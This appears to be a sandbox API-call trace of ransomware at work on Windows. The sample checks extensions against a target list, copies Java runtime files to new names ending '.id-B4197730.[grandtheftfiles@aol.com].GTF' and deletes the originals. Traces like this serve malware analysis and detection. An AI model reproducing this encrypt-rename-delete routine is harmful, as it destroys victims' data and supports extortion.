	[0156.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0156.276] lstrlenW (lpString=".doc") returned 4
	[0156.276] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.276] lstrlenW (lpString=".docx") returned 5
	[0156.276] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.276] lstrlenW (lpString=".pdf") returned 4
	[0156.276] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.276] lstrlenW (lpString=".xls") returned 4
	[0156.276] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.276] lstrlenW (lpString=".xlsx") returned 5
	[0156.276] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.276] lstrlenW (lpString=".ppt") returned 4
	[0156.276] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0156.276] lstrlenW (lpString=".zip") returned 4
	[0156.276] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.276] lstrlenW (lpString=".rar") returned 4
	[0156.276] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.276] lstrlenW (lpString=".bz2") returned 4
	[0156.276] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.276] lstrlenW (lpString=".7z") returned 3
	[0156.276] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0156.276] lstrlenW (lpString=".dbf") returned 4
	[0156.276] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0156.276] lstrlenW (lpString=".1cd") returned 4
	[0156.276] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties") returned 68
	[0156.276] lstrlenW (lpString=".jpg") returned 4
	[0156.276] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.276] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0156.276] lstrlenW (lpString="messages_pt_BR.properties") returned 25
	[0156.277] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0156.496] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3285) returned 1
	[0156.497] CloseHandle (hObject=0x488) returned 1
	[0156.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20
	[0156.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.518] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0156.519] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.519] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.519] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0156.521] GetLastError () returned 0x0
	[0156.521] ReadFile (in: hFile=0x488, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0xcd5, lpOverlapped=0x0) returned 1
	[0156.523] WriteFile (in: hFile=0x490, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xce0, lpOverlapped=0x0) returned 1
	[0156.524] ReadFile (in: hFile=0x488, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.524] WriteFile (in: hFile=0x490, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x106, lpOverlapped=0x0) returned 1
	[0156.524] SetEndOfFile (hFile=0x490) returned 1
	[0156.524] CloseHandle (hObject=0x490) returned 1
	[0156.524] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.524] SetEndOfFile (hFile=0x488) returned 1
	[0156.526] CloseHandle (hObject=0x488) returned 1
	[0156.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.527] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1
	[0156.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0156.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0156.527] lstrlenW (lpString=".doc") returned 4
	[0156.527] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.527] lstrlenW (lpString=".docx") returned 5
	[0156.527] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.527] lstrlenW (lpString=".pdf") returned 4
	[0156.527] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.528] lstrlenW (lpString=".xls") returned 4
	[0156.528] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.528] lstrlenW (lpString=".xlsx") returned 5
	[0156.528] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.528] lstrlenW (lpString=".ppt") returned 4
	[0156.528] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0156.528] lstrlenW (lpString=".zip") returned 4
	[0156.528] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.528] lstrlenW (lpString=".rar") returned 4
	[0156.528] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.528] lstrlenW (lpString=".bz2") returned 4
	[0156.528] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.528] lstrlenW (lpString=".7z") returned 3
	[0156.528] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0156.528] lstrlenW (lpString=".dbf") returned 4
	[0156.528] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0156.528] lstrlenW (lpString=".1cd") returned 4
	[0156.528] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0156.528] lstrlenW (lpString=".jpg") returned 4
	[0156.528] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0156.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0156.528] lstrlenW (lpString=".doc") returned 4
	[0156.528] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.528] lstrlenW (lpString=".docx") returned 5
	[0156.528] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.528] lstrlenW (lpString=".pdf") returned 4
	[0156.528] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.528] lstrlenW (lpString=".xls") returned 4
	[0156.528] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.528] lstrlenW (lpString=".xlsx") returned 5
	[0156.528] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.529] lstrlenW (lpString=".ppt") returned 4
	[0156.529] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0156.529] lstrlenW (lpString=".zip") returned 4
	[0156.529] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.529] lstrlenW (lpString=".rar") returned 4
	[0156.529] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.529] lstrlenW (lpString=".bz2") returned 4
	[0156.529] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.529] lstrlenW (lpString=".7z") returned 3
	[0156.529] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0156.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0156.529] lstrlenW (lpString=".dbf") returned 4
	[0156.529] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0156.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0156.529] lstrlenW (lpString=".1cd") returned 4
	[0156.529] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0156.529] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0156.529] lstrlenW (lpString=".jpg") returned 4
	[0156.529] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0156.529] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0156.529] lstrlenW (lpString="deploy.jar") returned 10
	[0156.529] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0156.530] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=5040094) returned 1
	[0156.530] CloseHandle (hObject=0x488) returned 1
	[0156.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20
	[0156.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.531] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0156.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0156.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0156.531] lstrlenW (lpString=".doc") returned 4
	[0156.531] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0156.531] lstrlenW (lpString=".docx") returned 5
	[0156.531] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0156.531] lstrlenW (lpString=".pdf") returned 4
	[0156.531] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0156.531] lstrlenW (lpString=".xls") returned 4
	[0156.531] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0156.531] lstrlenW (lpString=".xlsx") returned 5
	[0156.531] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0156.531] lstrlenW (lpString=".ppt") returned 4
	[0156.531] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0156.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0156.531] lstrlenW (lpString=".zip") returned 4
	[0156.531] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0156.531] lstrlenW (lpString=".rar") returned 4
	[0156.531] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0156.531] lstrlenW (lpString=".bz2") returned 4
	[0156.531] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0156.531] lstrlenW (lpString=".7z") returned 3
	[0156.531] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0156.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0156.531] lstrlenW (lpString=".dbf") returned 4
	[0156.531] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0156.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0156.531] lstrlenW (lpString=".1cd") returned 4
	[0156.531] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0156.531] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0156.531] lstrlenW (lpString=".jpg") returned 4
	[0156.531] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0156.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0156.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0156.532] lstrlenW (lpString=".doc") returned 4
	[0156.532] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0156.532] lstrlenW (lpString=".docx") returned 5
	[0156.532] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0156.532] lstrlenW (lpString=".pdf") returned 4
	[0156.532] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0156.532] lstrlenW (lpString=".xls") returned 4
	[0156.532] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0156.532] lstrlenW (lpString=".xlsx") returned 5
	[0156.532] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0156.532] lstrlenW (lpString=".ppt") returned 4
	[0156.532] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0156.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0156.532] lstrlenW (lpString=".zip") returned 4
	[0156.532] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0156.532] lstrlenW (lpString=".rar") returned 4
	[0156.532] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0156.532] lstrlenW (lpString=".bz2") returned 4
	[0156.532] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0156.532] lstrlenW (lpString=".7z") returned 3
	[0156.532] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0156.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0156.532] lstrlenW (lpString=".dbf") returned 4
	[0156.532] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0156.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0156.532] lstrlenW (lpString=".1cd") returned 4
	[0156.532] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0156.532] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49
	[0156.532] lstrlenW (lpString=".jpg") returned 4
	[0156.532] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0156.532] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0156.533] lstrlenW (lpString="access-bridge-64.jar") returned 20
	[0156.533] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0156.557] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=188024) returned 1
	[0156.557] CloseHandle (hObject=0x488) returned 1
	[0156.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20
	[0156.557] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.558] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0156.558] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.558] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.558] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0156.559] GetLastError () returned 0x0
	[0156.560] ReadFile (in: hFile=0x488, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2de78, lpOverlapped=0x0) returned 1
	[0156.569] WriteFile (in: hFile=0x490, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2de80, lpOverlapped=0x0) returned 1
	[0156.574] ReadFile (in: hFile=0x488, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.574] WriteFile (in: hFile=0x490, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xfc, lpOverlapped=0x0) returned 1
	[0156.575] SetEndOfFile (hFile=0x490) returned 1
	[0156.575] CloseHandle (hObject=0x490) returned 1
	[0156.575] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.579] SetEndOfFile (hFile=0x488) returned 1
	[0156.872] CloseHandle (hObject=0x488) returned 1
	[0156.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0157.334] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1
	[0157.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0157.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0157.335] lstrlenW (lpString=".doc") returned 4
	[0157.335] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.335] lstrlenW (lpString=".docx") returned 5
	[0157.335] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1
	[0157.335] lstrlenW (lpString=".pdf") returned 4
	[0157.335] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.335] lstrlenW (lpString=".xls") returned 4
	[0157.335] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.335] lstrlenW (lpString=".xlsx") returned 5
	[0157.335] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1
	[0157.335] lstrlenW (lpString=".ppt") returned 4
	[0157.335] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0157.336] lstrlenW (lpString=".zip") returned 4
	[0157.336] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.336] lstrlenW (lpString=".rar") returned 4
	[0157.336] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.336] lstrlenW (lpString=".bz2") returned 4
	[0157.336] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.336] lstrlenW (lpString=".7z") returned 3
	[0157.336] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0157.336] lstrlenW (lpString=".dbf") returned 4
	[0157.336] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0157.336] lstrlenW (lpString=".1cd") returned 4
	[0157.336] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0157.336] lstrlenW (lpString=".jpg") returned 4
	[0157.336] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0157.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0157.336] lstrlenW (lpString=".doc") returned 4
	[0157.336] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.336] lstrlenW (lpString=".docx") returned 5
	[0157.336] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1
	[0157.336] lstrlenW (lpString=".pdf") returned 4
	[0157.336] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.336] lstrlenW (lpString=".xls") returned 4
	[0157.336] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.336] lstrlenW (lpString=".xlsx") returned 5
	[0157.336] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1
	[0157.336] lstrlenW (lpString=".ppt") returned 4
	[0157.336] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0157.336] lstrlenW (lpString=".zip") returned 4
	[0157.336] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.336] lstrlenW (lpString=".rar") returned 4
	[0157.336] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.336] lstrlenW (lpString=".bz2") returned 4
	[0157.337] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.337] lstrlenW (lpString=".7z") returned 3
	[0157.337] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0157.337] lstrlenW (lpString=".dbf") returned 4
	[0157.337] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0157.337] lstrlenW (lpString=".1cd") returned 4
	[0157.337] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63
	[0157.337] lstrlenW (lpString=".jpg") returned 4
	[0157.337] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.337] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0157.337] lstrlenW (lpString="zipfs.jar") returned 9
	[0157.337] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0157.338] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=68924) returned 1
	[0157.338] CloseHandle (hObject=0x488) returned 1
	[0157.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20
